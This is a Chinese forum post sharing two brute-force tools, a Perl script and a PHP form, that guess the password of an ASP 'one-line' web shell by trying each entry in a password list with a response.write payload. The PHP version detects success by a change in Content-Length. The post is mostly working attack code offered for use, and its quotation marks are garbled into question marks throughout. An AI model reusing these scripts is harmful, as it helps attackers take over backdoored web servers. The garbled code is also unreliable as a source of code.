TA的每日心情 | 怒
2016-11-18 02:49 |
|---|
签到天数: 11 天 [LV.3]偶尔看看II
|
#/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
print ?=========================\n?;
print ?\n?;
print ?crack.pl Url\n?;
print ?\n?;
print ?crack.pl http://www.xxx.com/1.asp\n?;
print ?\n?;
print ?Made By Cond0r QQ 2304747789\n?;
print ?\n?;
print ?=========================\n?;
print ?\n?;
print ?Url Is :?;
$ul=<STDIN>;
chomp $ul;
open PASS,?pass.txt?;
$a=0;
foreach $pass (<PASS>)
{
@pass[$a]=$pass;
$a++;
$ua = new LWP::UserAgent;
$text=?\?QQ2304747789\?";
$url=$ul.???.$pass.?=response.write(?.$text.?)?;
$req=new HTTP::Request(?GET?,$url);
print $rep;
$respond = $ua->request($req)->as_string;
print ?The Pass Is:?.$pass if($respond =~ /QQ2304747789/);
}
破解PHP一句话密码 PHP版
<?php
/*
* Created on 2010-11-4
*/
set_time_limit(0);
$url = $_GET['url'];
$passfile = $_GET['upfile'];
$keyword = ?xxoo?; //关键字，改不改一样，因为判断的不是内容，而是http返回的内容长度
$c_l = get_headers($url,1); //获得正常http头的内容长度
$normal_c_l = $c_l['Content-Length'];
if($url && $passfile && $keyword) {
$fp = fopen($passfile,r);
while(!feof($fp)) {
$pass = trim(fgets($fp));
$all_url=$url.???.$pass.?=response.write(?.???.$keyword.??)?;
$head_msg = get_headers($all_url,1);
if($head_msg['Content-Length'] >$normal_c_l) { //内容长度大于正常的就是keyword写入了，密码就出来咯
echo ?<font color=red>破解成功，密码是：$pass</font>?;
exit();
}
}
fclose($fp);
}
?>
<html>
<head>
<title>asp一句话暴力破解</title>
</head>
<body>
<form action=? method=?get?>
<table>
<tr>
<td>一句话地址：</td>
<td><input type=?text? name=?url? value=?http://127.0.0.1:81/2.asp? /></td>
</tr>
<tr>
<td>密码文件：</td>
<td><input name=?upfile? type=?file?></td>
</tr>
</table>
<input type=?submit? name=?submit? value=?提交?/>
</form>
<p>说明：不是用获取页面内容，再判断关键字的方法。那样在一个大量数据的网页可能会很慢。</p>
<p>这里用的是判断http头的Content-Length的方法，如果密码匹配成功，则response.write就会成功，页面内容就比原来多了</p>
<p>思路就是这样！</p>
<p>php不能多线程，速度大概是1000个密码15-20秒</p>
<body>
</html>
|
|
发表于 2015-3-15 20:05:55
